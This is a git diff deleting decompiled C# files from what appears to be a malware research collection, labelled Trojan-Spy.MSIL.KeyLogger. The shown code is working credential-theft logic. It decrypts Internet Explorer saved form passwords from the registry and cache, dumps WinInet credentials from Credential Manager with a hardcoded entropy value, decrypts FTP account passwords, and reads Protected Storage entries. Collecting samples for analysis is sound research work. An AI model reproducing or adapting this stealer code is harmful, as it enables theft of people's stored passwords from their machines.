AddPasswdInfo(string strRess, int hKey) - { - strRess = Strings.LCase(strRess); - byte[] bytes = Encoding.Unicode.GetBytes(strRess); - string shA1Hash = this.GetSHA1Hash(ref bytes); - string lpValueName = shA1Hash + Strings.Right("00" + Conversion.Hex(this.CheckSum(ref shA1Hash)), 2); - int lpType; - int lpcbData; - int num = CIE7Passwords.RegQueryValueEx(hKey, ref lpValueName, 0, ref lpType, IntPtr.Zero, ref lpcbData); - if (lpcbData <= 0) - return; - IntPtr lpData = Marshal.AllocHGlobal(lpcbData); - num = CIE7Passwords.RegQueryValueEx(hKey, ref lpValueName, 0, ref lpType, lpData, ref lpcbData); - CIE7Passwords.DATA_BLOB pDataIn; - pDataIn.cbData = lpcbData; - pDataIn.pbData = lpData.ToInt32(); - CIE7Passwords.DATA_BLOB pOptionalEntropy; - pOptionalEntropy.cbData = checked (Strings.Len(strRess) * 2 + 2); - ref CIE7Passwords.DATA_BLOB local = ref pOptionalEntropy; - IntPtr hglobal = Marshal.StringToHGlobalUni(strRess); - int int32 = hglobal.ToInt32(); - local.pbData = int32; - CIE7Passwords.DATA_BLOB pDataOut; - CIE7Passwords.CryptUnprotectData(ref pDataIn, 0, ref pOptionalEntropy, 0, 0, 0, ref pDataOut); - this.ProcessIEPass(strRess, lpValueName, pDataOut); - hglobal = new IntPtr(pOptionalEntropy.pbData); - Marshal.FreeHGlobal(hglobal); - CIE7Passwords.LocalFree(pDataOut.pbData); - } - - public void Delete(string szResourceName) - { - string lpSubKey = "Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2"; - int phkResult; - CIE7Passwords.RegOpenKeyEx(-2147483647, ref lpSubKey, 0, 131078, ref phkResult); - CIE7Passwords.RegDeleteValue(phkResult, ref szResourceName); - CIE7Passwords.RegCloseKey(phkResult); - CIE7Passwords.CredDelete(szResourceName, 1, 0); - } - - public void Refresh() - { - Regex regex = new Regex("name=\"([^\"]+)\"", RegexOptions.Compiled); - this.m_IEPass.Clear(); - string lpSubKey1 = "Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage1"; - int phkResult1; - CIE7Passwords.RegOpenKeyEx(-2147483647, ref lpSubKey1, 0, 131097, ref phkResult1); - string lpSubKey2 = "Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2"; - int phkResult2; - CIE7Passwords.RegOpenKeyEx(-2147483647, ref lpSubKey2, 0, 131097, ref phkResult2); - IntPtr num1; - if (phkResult2 != 0 || phkResult1 != 0) - { - string lpszUrlSearchPattern1 = (string) null; - int lpdwFirstCacheEntryInfoBufferSize; - CIE7Passwords.FindFirstUrlCacheEntry(ref lpszUrlSearchPattern1, IntPtr.Zero, ref lpdwFirstCacheEntryInfoBufferSize); - if (lpdwFirstCacheEntryInfoBufferSize > 0) - { - IntPtr num2 = Marshal.AllocHGlobal(lpdwFirstCacheEntryInfoBufferSize); - Marshal.WriteInt32(num2, lpdwFirstCacheEntryInfoBufferSize); - string lpszUrlSearchPattern2 = (string) null; - int firstUrlCacheEntry = CIE7Passwords.FindFirstUrlCacheEntry(ref lpszUrlSearchPattern2, num2, ref lpdwFirstCacheEntryInfoBufferSize); - do - { - CIE7Passwords.INTERNET_CACHE_ENTRY_INFO internetCacheEntryInfo1; - object structure = Marshal.PtrToStructure(num2, internetCacheEntryInfo1.GetType()); - CIE7Passwords.INTERNET_CACHE_ENTRY_INFO internetCacheEntryInfo2; - internetCacheEntryInfo1 = structure != null ? (CIE7Passwords.INTERNET_CACHE_ENTRY_INFO) structure : internetCacheEntryInfo2; - if ((internetCacheEntryInfo1.CacheEntryType & 2097153) != 0) - { - num1 = new IntPtr(internetCacheEntryInfo1.lpszSourceUrlName); - string str = this.GetStrFromPtrA(num1); - if (str.IndexOf("?") >= 0) - str = str.Substring(0, str.IndexOf("?")); - if (Strings.InStr(str, "@") > 0) - str = Strings.Mid(str, checked (Strings.InStr(str, "@") + 1)); - if (phkResult1 != 0 && (internetCacheEntryInfo1.CacheEntryType & 1) == 1) - { - num1 = new IntPtr(internetCacheEntryInfo1.lpHeaderInfo); - string strFromPtrA1 = this.GetStrFromPtrA(num1); - if (!string.IsNullOrEmpty(strFromPtrA1) && strFromPtrA1.Contains("text/html")) - { - num1 = new IntPtr(internetCacheEntryInfo1.lpszLocalFileName); - string strFromPtrA2 = this.GetStrFromPtrA(num1); - try - { - try - { - foreach (Match match in regex.Matches(File.ReadAllText(strFromPtrA2))) - this.AddPasswdInfo(match.Groups[1].Value, phkResult1); - } - finally - { - IEnumerator enumerator; - if (enumerator is IDisposable) - (enumerator as IDisposable).Dispose(); - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - this.AddPasswdInfo(str, phkResult2); - } - lpdwFirstCacheEntryInfoBufferSize = 0; - CIE7Passwords.FindNextUrlCacheEntry(firstUrlCacheEntry, IntPtr.Zero, ref lpdwFirstCacheEntryInfoBufferSize); - Marshal.FreeHGlobal(num2); - if (lpdwFirstCacheEntryInfoBufferSize > 0) - { - num2 = Marshal.AllocHGlobal(lpdwFirstCacheEntryInfoBufferSize); - Marshal.WriteInt32(num2, lpdwFirstCacheEntryInfoBufferSize); - } - } - while (CIE7Passwords.FindNextUrlCacheEntry(firstUrlCacheEntry, num2, ref lpdwFirstCacheEntryInfoBufferSize) != 0); - CIE7Passwords.FindCloseUrlCache(firstUrlCacheEntry); - } - CIE7Passwords.RegCloseKey(phkResult1); - CIE7Passwords.RegCloseKey(phkResult2); - } - int pCount; - int lppCredentials; - CIE7Passwords.CredEnumerate("Microsoft_WinInet_*", 0, ref pCount, ref lppCredentials); - short[] numArray1 = new short[37]; - CIE7Passwords.DATA_BLOB pOptionalEntropy; - CIE7Passwords.DATA_BLOB pDataIn; - CIE7Passwords.DATA_BLOB pDataOut; - if (pCount > 0) - { - int num3 = checked (pCount - 1); - int num4 = 0; - while (num4 <= num3) - { - num1 = new IntPtr(checked (lppCredentials + num4 * 4)); - CIE7Passwords.CREDENTIAL credential1; - object structure = Marshal.PtrToStructure(Marshal.ReadIntPtr(num1), credential1.GetType()); - CIE7Passwords.CREDENTIAL credential2; - credential1 = structure != null ? (CIE7Passwords.CREDENTIAL) structure : credential2; - num1 = new IntPtr(credential1.lpstrTargetName); - string str1 = this.CopyString(num1); - pOptionalEntropy.cbData = 74; - IntPtr num5 = Marshal.AllocHGlobal(74); - string str2 = "abe2869f-9b47-4cd9-a358-c22904dba7f7\0"; - int num6 = 0; - do - { - Marshal.WriteInt16(num5, checked (num6 * 2), checked ((short) (Strings.Asc(Strings.Mid(str2, num6 + 1, 1)) * 4))); - checked { ++num6; } - } - while (num6 <= 36); - pOptionalEntropy.pbData = num5.ToInt32(); - pDataIn.pbData = credential1.lpbCredentialBlob; - pDataIn.cbData = credential1.dwCredentialBlobSize; - pDataOut.cbData = 0; - pDataOut.pbData = 0; - CIE7Passwords.CryptUnprotectData(ref pDataIn, 0, ref pOptionalEntropy, 0, 0, 0, ref pDataOut); - Marshal.FreeHGlobal(num5); - num1 = new IntPtr(pDataOut.pbData); - string[] strArray = Strings.Split(Marshal.PtrToStringUni(num1), ":"); - int num7 = Strings.InStr(Strings.Mid(str1, 19), "/"); - if (num7 > 0) - this.m_IEPass.Add(new CIE7Password(str1, Strings.Mid(str1, 19, checked (num7 - 1)), strArray[0], strArray[1], DateTime.MinValue, 2, Strings.Mid(str1, checked (19 + num7)))); - else - this.m_IEPass.Add(new CIE7Password(str1, Strings.Mid(str1, 19), strArray[0], strArray[1], DateTime.MinValue, 2, string.Empty)); - CIE7Passwords.LocalFree(pDataOut.pbData); - checked { ++num4; } - } - } - CIE7Passwords.CredFree(lppCredentials); - RegistryKey registryKey1 = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\FTP\\Accounts"); - string[] subKeyNames1 = registryKey1.GetSubKeyNames(); - int index1 = 0; - while (index1 < subKeyNames1.Length) - { - string name1 = subKeyNames1[index1]; - RegistryKey registryKey2 = registryKey1.OpenSubKey(name1); - string[] subKeyNames2 = registryKey2.GetSubKeyNames(); - int index2 = 0; - while (index2 < subKeyNames2.Length) - { - string name2 = subKeyNames2[index2]; - byte[] numArray2 = (byte[]) registryKey2.OpenSubKey(name2).GetValue("Password"); - byte[] numArray3 = new byte[4]; - int num8 = checked (name1.Length - 1); - int index3 = 0; - while (index3 <= num8) - { - byte num9 = checked ((byte) ((int) name1[index3] & 31)); - numArray3[index3 & 3] = checked ((byte) unchecked ((int) numArray3[index3 & 3] + (int) num9)); - checked { ++index3; } - } - pDataIn.cbData = numArray2.Length; - ref CIE7Passwords.DATA_BLOB local1 = ref pDataIn; - IntPtr num10 = Marshal.AllocHGlobal(numArray2.Length); - int int32_1 = num10.ToInt32(); - local1.pbData = int32_1; - byte[] source = numArray2; - num10 = new IntPtr(pDataIn.pbData); - IntPtr destination = num10; - int length = numArray2.Length; - Marshal.Copy(source, 0, destination, length); - pDataOut.cbData = 0; - pDataOut.pbData = 0; - GCHandle gcHandle = GCHandle.Alloc((object) numArray3, GCHandleType.Pinned); - ref CIE7Passwords.DATA_BLOB local2 = ref pOptionalEntropy; - IntPtr ptr = gcHandle.AddrOfPinnedObject(); - int int32_2 = ptr.ToInt32(); - local2.pbData = int32_2; - pOptionalEntropy.cbData = 4; - CIE7Passwords.CryptUnprotectData(ref pDataIn, 0, ref pOptionalEntropy, 0, 0, 0, ref pDataOut); - gcHandle.Free(); - List iePass = this.m_IEPass; - string szResourceName = name1; - string szURL = string.Format("ftp://{0}@{1}/", (object) name1, (object) name2); - string szUserName = name2; - ptr = new IntPtr(pDataOut.pbData); - string stringUni = Marshal.PtrToStringUni(ptr); - DateTime minValue = DateTime.MinValue; - string empty = string.Empty; - CIE7Password ciE7Password = new CIE7Password(szResourceName, szURL, szUserName, stringUni, minValue, 3, empty); - iePass.Add(ciE7Password); - CIE7Passwords.LocalFree(pDataOut.pbData); - checked { ++index2; } - } - checked { ++index1; } - } - } - - public IEnumerator GetEnumerator() - { - this.Refresh(); - return (IEnumerator) this.m_IEPass.GetEnumerator(); - } - - IEnumerator IEnumerable.GetEnumerator1() - { - this.Refresh(); - return (IEnumerator) this.m_IEPass.GetEnumerator(); - } - - private struct SYSTEMTIME - { - public short wYear; - public short wMonth; - public short wDayOfWeek; - public short wDay; - public short wHour; - public short wMinute; - public short wSecond; - public short wMilliseconds; - } - - private struct FILETIME - { - public int dwLowDateTime; - public int dwHighDateTime; - } - - private struct INTERNET_CACHE_ENTRY_INFO - { - public int dwStructSize; - public int lpszSourceUrlName; - public int lpszLocalFileName; - public int CacheEntryType; - public int dwUseCount; - public int dwHitRate; - public int dwSizeLow; - public int dwSizeHigh; - public CIE7Passwords.FILETIME LastModifiedTime; - public CIE7Passwords.FILETIME ExpireTime; - public CIE7Passwords.FILETIME LastAccessTime; - public CIE7Passwords.FILETIME LastSyncTime; - public int lpHeaderInfo; - public int dwHeaderInfoSize; - public int lpszFileExtension; - public int dwExemptDelta; - } - - private struct DATA_BLOB - { - public int cbData; - public int pbData; - } - - private struct StringIndexHeader - { - public int dwWICK; - public int dwStructSize; - public int dwEntriesCount; - public int dwUnkId; - public int dwType; - public int dwUnk; - } - - private struct StringIndexEntry - { - public int dwDataOffset; - public CIE7Passwords.FILETIME ftInsertDateTime; - public int dwDataSize; - } - - private enum CRED_TYPE - { - GENERIC = 1, - DOMAIN_PASSWORD = 2, - DOMAIN_CERTIFICATE = 3, - DOMAIN_VISIBLE_PASSWORD = 4, - MAXIMUM = 5, - } - - private struct CREDENTIAL_ATTRIBUTE - { - public int lpstrKeyword; - public int dwFlags; - public int dwValueSize; - public int lpbValue; - } - - private struct CREDENTIAL - { - public int dwFlags; - public int dwType; - public int lpstrTargetName; - public int lpstrComment; - public CIE7Passwords.FILETIME ftLastWritten; - public int dwCredentialBlobSize; - public int lpbCredentialBlob; - public int dwPersist; - public int dwAttributeCount; - public int lpAttributes; - public int lpstrTargetAlias; - public int lpUserName; - } - - private struct IEPass - { - public int dwType; - public string strResource; - public string strUserName; - public string strPassword; - public string strURL; - public string strDescription; - public DateTime ftAddDate; - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/CIEPassword.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/CIEPassword.cs deleted file mode 100644 index 6a71aca3..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/CIEPassword.cs +++ /dev/null @@ -1,55 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Roy.CIEPassword -// Assembly: Roy, Version=2.3.3.234, Culture=neutral, PublicKeyToken=null -// MVID: 2E5855C9-3623-47AC-87B3-574423C889E6 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19.exe - -using System; - -namespace Roy -{ - internal class CIEPassword - { - private readonly Guid guidIE; - private CProtectStore m_IPStore; - private string m_szResourceName; - private string m_szUserName; - private string m_szPassword; - private DateTime m_dtAddDate; - private int m_dwType; - - internal CIEPassword( - CProtectStore PStore, - string szResourceName, - string szUserName, - string szPasswd, - DateTime dtAddDate, - int dwType) - { - this.guidIE = new Guid("{E161255A-37C3-11D2-BCAA-00C04FD929DB}"); - if (this.m_IPStore == null) - this.m_IPStore = PStore; - this.m_dtAddDate = dtAddDate; - this.m_dwType = dwType; - this.m_szPassword = szPasswd; - this.m_szResourceName = szResourceName; - this.m_szUserName = szUserName; - } - - public void DeletePassword() - { - this.m_IPStore.DeleteItem(this.guidIE, this.guidIE, this.m_szResourceName + ":StringData"); - this.m_IPStore.DeleteItem(this.guidIE, this.guidIE, this.m_szResourceName + ":StringIndex"); - } - - public string ResourceName => this.m_szResourceName; - - public string UserName => this.m_szUserName; - - public string Password => this.m_szPassword; - - public DateTime AddDate => this.m_dtAddDate; - - public int PasswdType => this.m_dwType; - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/CIEPasswords.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/CIEPasswords.cs deleted file mode 100644 index c050584b..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/CIEPasswords.cs +++ /dev/null @@ -1,356 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Roy.CIEPasswords -// Assembly: Roy, Version=2.3.3.234, Culture=neutral, PublicKeyToken=null -// MVID: 2E5855C9-3623-47AC-87B3-574423C889E6 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Roy.PStoreLib; -using System; -using System.Collections; -using System.Collections.Generic; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace Roy -{ - internal class CIEPasswords : IEnumerable - { - private readonly Guid guidIE; - private CProtectStore m_PStore; - private PST_KEY m_KeyType; - private List m_IEPass; - [SpecialName] - private CIEPasswords.SYSTEMTIME \u0024STATIC\u0024FileTimeToDate\u0024201113910118084\u0024lst; - [SpecialName] - private CIEPasswords.FILETIME \u0024STATIC\u0024FileTimeToDate\u0024201113910118084\u0024lft; - - public CIEPasswords() - { - this.guidIE = new Guid("{E161255A-37C3-11D2-BCAA-00C04FD929DB}"); - this.m_PStore = new CProtectStore(); - this.m_IEPass = new List(); - } - - [DllImport("kernel32.dll", EntryPoint = "RtlMoveMemory", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern void CopyMemory(IntPtr Destination, IntPtr Source, int Length); - - [DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int lstrlenA(IntPtr lpString); - - [DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int FileTimeToLocalFileTime( - ref CIEPasswords.FILETIME lpFileTime, - ref CIEPasswords.FILETIME lpLocalFileTime); - - [DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int FileTimeToSystemTime( - ref CIEPasswords.FILETIME lpFileTime, - ref CIEPasswords.SYSTEMTIME lpSystemTime); - - private DateTime FileTimeToDate(ref CIEPasswords.FILETIME ftDateTime) - { - CIEPasswords.FileTimeToLocalFileTime(ref ftDateTime, ref this.\u0024STATIC\u0024FileTimeToDate\u0024201113910118084\u0024lft); - CIEPasswords.FileTimeToSystemTime(ref this.\u0024STATIC\u0024FileTimeToDate\u0024201113910118084\u0024lft, ref this.\u0024STATIC\u0024FileTimeToDate\u0024201113910118084\u0024lst); - return DateTime.FromOADate(DateAndTime.DateSerial((int) this.\u0024STATIC\u0024FileTimeToDate\u0024201113910118084\u0024lst.wYear, (int) this.\u0024STATIC\u0024FileTimeToDate\u0024201113910118084\u0024lst.wMonth, (int) this.\u0024STATIC\u0024FileTimeToDate\u0024201113910118084\u0024lst.wDay).ToOADate() + DateAndTime.TimeSerial((int) this.\u0024STATIC\u0024FileTimeToDate\u0024201113910118084\u0024lst.wHour, (int) this.\u0024STATIC\u0024FileTimeToDate\u0024201113910118084\u0024lst.wMinute, (int) this.\u0024STATIC\u0024FileTimeToDate\u0024201113910118084\u0024lst.wSecond).ToOADate()); - } - - private void AddPasswdInfo(string strRess) - { - CIEPasswords.StringIndexEntry Expression1; - int num1 = Strings.Len((object) Expression1); - CIEPasswords.StringIndexHeader Expression2; - Strings.Len((object) Expression2); - byte[] numArray1 = this.m_PStore.ReadItem(this.guidIE, this.guidIE, strRess + ":StringData"); - byte[] numArray2 = this.m_PStore.ReadItem(this.guidIE, this.guidIE, strRess + ":StringIndex"); - GCHandle gcHandle1 = GCHandle.Alloc((object) numArray2, GCHandleType.Pinned); - IntPtr ptr1 = gcHandle1.AddrOfPinnedObject(); - object structure1 = Marshal.PtrToStructure(ptr1, Expression2.GetType()); - CIEPasswords.StringIndexHeader stringIndexHeader1; - CIEPasswords.StringIndexHeader stringIndexHeader2 = structure1 != null ? (CIEPasswords.StringIndexHeader) structure1 : stringIndexHeader1; - gcHandle1.Free(); - GCHandle gcHandle2 = GCHandle.Alloc((object) numArray1, GCHandleType.Pinned); - GCHandle gcHandle3 = GCHandle.Alloc((object) numArray2, GCHandleType.Pinned); - IntPtr num2 = gcHandle2.AddrOfPinnedObject(); - ref IntPtr local = ref ptr1; - IntPtr ptr2 = gcHandle3.AddrOfPinnedObject(); - int num3 = checked (ptr2.ToInt32() + stringIndexHeader2.dwStructSize); - local = new IntPtr(num3); - CIEPasswords.StringIndexEntry stringIndexEntry1; - if (stringIndexHeader2.dwType == 1) - { - if (stringIndexHeader2.dwEntriesCount >= 2) - { - int num4 = checked (stringIndexHeader2.dwEntriesCount - 1); - int num5 = 0; - while (num5 <= num4) - { - if (num2 == IntPtr.Zero | ptr1 == IntPtr.Zero) - return; - CIEPasswords.StringIndexEntry stringIndexEntry2; - object structure2 = Marshal.PtrToStructure(ptr1, stringIndexEntry2.GetType()); - stringIndexEntry2 = structure2 != null ? (CIEPasswords.StringIndexEntry) structure2 : stringIndexEntry1; - IntPtr num6 = new IntPtr(checked (num2.ToInt32() + stringIndexEntry2.dwDataOffset)); - string szUserName; - if (CIEPasswords.lstrlenA(num6) != stringIndexEntry2.dwDataSize) - { - ptr2 = new IntPtr(checked (num2.ToInt32() + stringIndexEntry2.dwDataOffset)); - szUserName = Marshal.PtrToStringUni(ptr2); - } - else - { - num6 = new IntPtr(checked (num2.ToInt32() + stringIndexEntry2.dwDataOffset)); - szUserName = Marshal.PtrToStringAnsi(num6); - } - ptr1 = new IntPtr(checked (ptr1.ToInt32() + num1)); - object structure3 = Marshal.PtrToStructure(ptr1, stringIndexEntry2.GetType()); - stringIndexEntry2 = structure3 != null ? (CIEPasswords.StringIndexEntry) structure3 : stringIndexEntry1; - num6 = new IntPtr(checked (num2.ToInt32() + stringIndexEntry2.dwDataOffset)); - string szPasswd; - if (CIEPasswords.lstrlenA(num6) != stringIndexEntry2.dwDataSize) - { - ptr2 = new IntPtr(checked (num2.ToInt32() + stringIndexEntry2.dwDataOffset)); - szPasswd = Marshal.PtrToStringUni(ptr2); - } - else - { - num6 = new IntPtr(checked (num2.ToInt32() + stringIndexEntry2.dwDataOffset)); - szPasswd = Marshal.PtrToStringAnsi(num6); - } - ptr1 = new IntPtr(checked (ptr1.ToInt32() + num1)); - this.m_IEPass.Add(new CIEPassword(this.m_PStore, strRess, szUserName, szPasswd, this.FileTimeToDate(ref stringIndexEntry2.ftInsertDateTime), 1)); - checked { num5 += 2; } - } - } - } - else if (stringIndexHeader2.dwType == 0) - { - if (num2 == IntPtr.Zero | ptr1 == IntPtr.Zero) - return; - int num7 = checked (stringIndexHeader2.dwEntriesCount - 1); - int num8 = 0; - while (num8 <= num7) - { - CIEPasswords.StringIndexEntry stringIndexEntry3; - object structure4 = Marshal.PtrToStructure(ptr1, stringIndexEntry3.GetType()); - stringIndexEntry3 = structure4 != null ? (CIEPasswords.StringIndexEntry) structure4 : stringIndexEntry1; - Strings.Space(stringIndexEntry3.dwDataSize); - IntPtr num9 = new IntPtr(checked (num2.ToInt32() + stringIndexEntry3.dwDataOffset)); - string szUserName; - if (CIEPasswords.lstrlenA(num9) != stringIndexEntry3.dwDataSize) - { - ptr2 = new IntPtr(checked (num2.ToInt32() + stringIndexEntry3.dwDataOffset)); - szUserName = Marshal.PtrToStringUni(ptr2); - } - else - { - num9 = new IntPtr(checked (num2.ToInt32() + stringIndexEntry3.dwDataOffset)); - szUserName = Marshal.PtrToStringAnsi(num9); - } - ptr1 = new IntPtr(checked (ptr1.ToInt32() + num1)); - this.m_IEPass.Add(new CIEPassword(this.m_PStore, strRess, szUserName, string.Empty, this.FileTimeToDate(ref stringIndexEntry3.ftInsertDateTime), 0)); - checked { ++num8; } - } - } - gcHandle2.Free(); - gcHandle3.Free(); - } - - public PST_KEY KeyType - { - get => this.m_KeyType; - set - { - this.m_KeyType = value; - this.m_PStore.KeyType = value; - } - } - - public void DeletePart(string szResourceName, string szWord) - { - CIEPasswords.StringIndexEntry Expression1; - int num1 = Strings.Len((object) Expression1); - CIEPasswords.StringIndexHeader Expression2; - int num2 = Strings.Len((object) Expression2); - byte[] numArray1 = this.m_PStore.ReadItem(this.guidIE, this.guidIE, szResourceName + ":StringData"); - byte[] numArray2 = this.m_PStore.ReadItem(this.guidIE, this.guidIE, szResourceName + ":StringIndex"); - GCHandle gcHandle1 = GCHandle.Alloc((object) numArray2, GCHandleType.Pinned); - IntPtr ptr1 = gcHandle1.AddrOfPinnedObject(); - object structure1 = Marshal.PtrToStructure(ptr1, Expression2.GetType()); - CIEPasswords.StringIndexHeader stringIndexHeader; - CIEPasswords.StringIndexHeader structure2 = structure1 != null ? (CIEPasswords.StringIndexHeader) structure1 : stringIndexHeader; - gcHandle1.Free(); - GCHandle gcHandle2 = GCHandle.Alloc((object) numArray1, GCHandleType.Pinned); - GCHandle gcHandle3 = GCHandle.Alloc((object) numArray2, GCHandleType.Pinned); - gcHandle2.AddrOfPinnedObject(); - ref IntPtr local1 = ref ptr1; - IntPtr ptr2 = gcHandle3.AddrOfPinnedObject(); - int num3 = checked (ptr2.ToInt32() + structure2.dwStructSize); - local1 = new IntPtr(num3); - if (structure2.dwType == 1 | structure2.dwEntriesCount == 1) - this.Delete(szResourceName); - else if (structure2.dwType == 0) - { - byte[] numArray3 = new byte[checked (Information.UBound((Array) numArray1) + 1)]; - byte[] numArray4 = new byte[checked (Information.UBound((Array) numArray2) + 1)]; - GCHandle gcHandle4 = GCHandle.Alloc((object) numArray3, GCHandleType.Pinned); - GCHandle gcHandle5 = GCHandle.Alloc((object) numArray4, GCHandleType.Pinned); - IntPtr num4 = gcHandle2.AddrOfPinnedObject(); - ref IntPtr local2 = ref ptr1; - IntPtr num5 = gcHandle3.AddrOfPinnedObject(); - int num6 = checked (num5.ToInt32() + structure2.dwStructSize); - local2 = new IntPtr(num6); - IntPtr num7 = gcHandle4.AddrOfPinnedObject(); - IntPtr ptr3; - ref IntPtr local3 = ref ptr3; - num5 = gcHandle5.AddrOfPinnedObject(); - int num8 = checked (num5.ToInt32() + structure2.dwStructSize); - local3 = new IntPtr(num8); - int num9 = checked (structure2.dwEntriesCount - 1); - int num10 = 0; - int pcbBuff; - while (num10 <= num9) - { - CIEPasswords.StringIndexEntry structure3; - object structure4 = Marshal.PtrToStructure(ptr1, structure3.GetType()); - CIEPasswords.StringIndexEntry stringIndexEntry; - structure3 = structure4 != null ? (CIEPasswords.StringIndexEntry) structure4 : stringIndexEntry; - Strings.Space(structure3.dwDataSize); - num5 = new IntPtr(checked (num4.ToInt32() + structure3.dwDataOffset)); - if (CIEPasswords.lstrlenA(num5) != structure3.dwDataSize) - { - ptr2 = new IntPtr(checked (num4.ToInt32() + structure3.dwDataOffset)); - if (Operators.CompareString(Marshal.PtrToStringUni(ptr2, checked (structure3.dwDataSize * 2)), szWord, false) != 0) - { - num5 = new IntPtr(checked (num7.ToInt32() + pcbBuff)); - IntPtr Destination = num5; - ptr2 = new IntPtr(checked (num4.ToInt32() + structure3.dwDataOffset)); - IntPtr Source = ptr2; - int Length = checked (structure3.dwDataSize * 2); - CIEPasswords.CopyMemory(Destination, Source, Length); - structure3.dwDataOffset = pcbBuff; - Marshal.StructureToPtr((object) structure3, ptr3, false); - pcbBuff = checked (pcbBuff + structure3.dwDataSize * 2 + 2); - ptr3 = new IntPtr(checked (ptr3.ToInt32() + num1)); - } - } - else - { - num5 = new IntPtr(checked (num4.ToInt32() + structure3.dwDataOffset)); - if (Operators.CompareString(Marshal.PtrToStringAnsi(num5, checked (structure3.dwDataSize * 2)), szWord, false) != 0) - { - num5 = new IntPtr(checked (num7.ToInt32() + pcbBuff)); - IntPtr Destination = num5; - ptr2 = new IntPtr(checked (num4.ToInt32() + structure3.dwDataOffset)); - IntPtr Source = ptr2; - int dwDataSize = structure3.dwDataSize; - CIEPasswords.CopyMemory(Destination, Source, dwDataSize); - structure3.dwDataOffset = pcbBuff; - Marshal.StructureToPtr((object) structure3, ptr3, false); - pcbBuff = checked (pcbBuff + structure3.dwDataSize + 1); - ptr3 = new IntPtr(checked (ptr3.ToInt32() + num1)); - } - } - ptr1 = new IntPtr(checked (ptr1.ToInt32() + num1)); - checked { ++num10; } - } - checked { --structure2.dwEntriesCount; } - Marshal.StructureToPtr((object) structure2, ptr3, false); - this.m_PStore.WriteItem(this.guidIE, this.guidIE, szResourceName + ":StringData", num7.ToInt32(), pcbBuff); - this.m_PStore.WriteItem(this.guidIE, this.guidIE, szResourceName + ":StringIndex", ptr3.ToInt32(), checked (num2 + structure2.dwEntriesCount * num1)); - gcHandle4.Free(); - gcHandle5.Free(); - } - gcHandle2.Free(); - gcHandle3.Free(); - } - - public void Delete(string szResourceName) - { - this.m_PStore.DeleteItem(this.guidIE, this.guidIE, szResourceName + ":StringData"); - this.m_PStore.DeleteItem(this.guidIE, this.guidIE, szResourceName + ":StringIndex"); - } - - public void Refresh() - { - this.m_IEPass.Clear(); - CItems citems = this.m_PStore.get_Items(this.guidIE, this.guidIE); - if (citems == null) - return; - int num = 0; - try - { - foreach (CItem citem in citems) - { - if (num % 2 == 0) - this.AddPasswdInfo(Strings.Mid(citem.Name, 1, checked (Strings.InStr(citem.Name, ":String") - 1))); - checked { ++num; } - } - } - finally - { - IEnumerator enumerator; - if (enumerator is IDisposable) - (enumerator as IDisposable).Dispose(); - } - } - - public IEnumerator GetEnumerator() - { - this.Refresh(); - return (IEnumerator) this.m_IEPass.GetEnumerator(); - } - - IEnumerator IEnumerable.GetEnumerator1() - { - this.Refresh(); - return (IEnumerator) this.m_IEPass.GetEnumerator(); - } - - private struct StringIndexHeader - { - public int dwWICK; - public int dwStructSize; - public int dwEntriesCount; - public int dwUnkId; - public int dwType; - public int dwUnk; - } - - private struct FILETIME - { - public int dwLow; - public int dwHigh; - } - - private struct StringIndexEntry - { - public int dwDataOffset; - public CIEPasswords.FILETIME ftInsertDateTime; - public int dwDataSize; - } - - [StructLayout(LayoutKind.Sequential, Pack = 2)] - private struct SYSTEMTIME - { - public short wYear; - public short wMonth; - public short wDayOfWeek; - public short wDay; - public short wHour; - public short wMinute; - public short wSecond; - public short wMilliseconds; - } - - private struct IEPass - { - public int dwType; - public string strResource; - public string strUserName; - public string strPassword; - public DateTime ftAddDate; - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/CItem.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/CItem.cs deleted file mode 100644 index 5e480018..00000000 --- 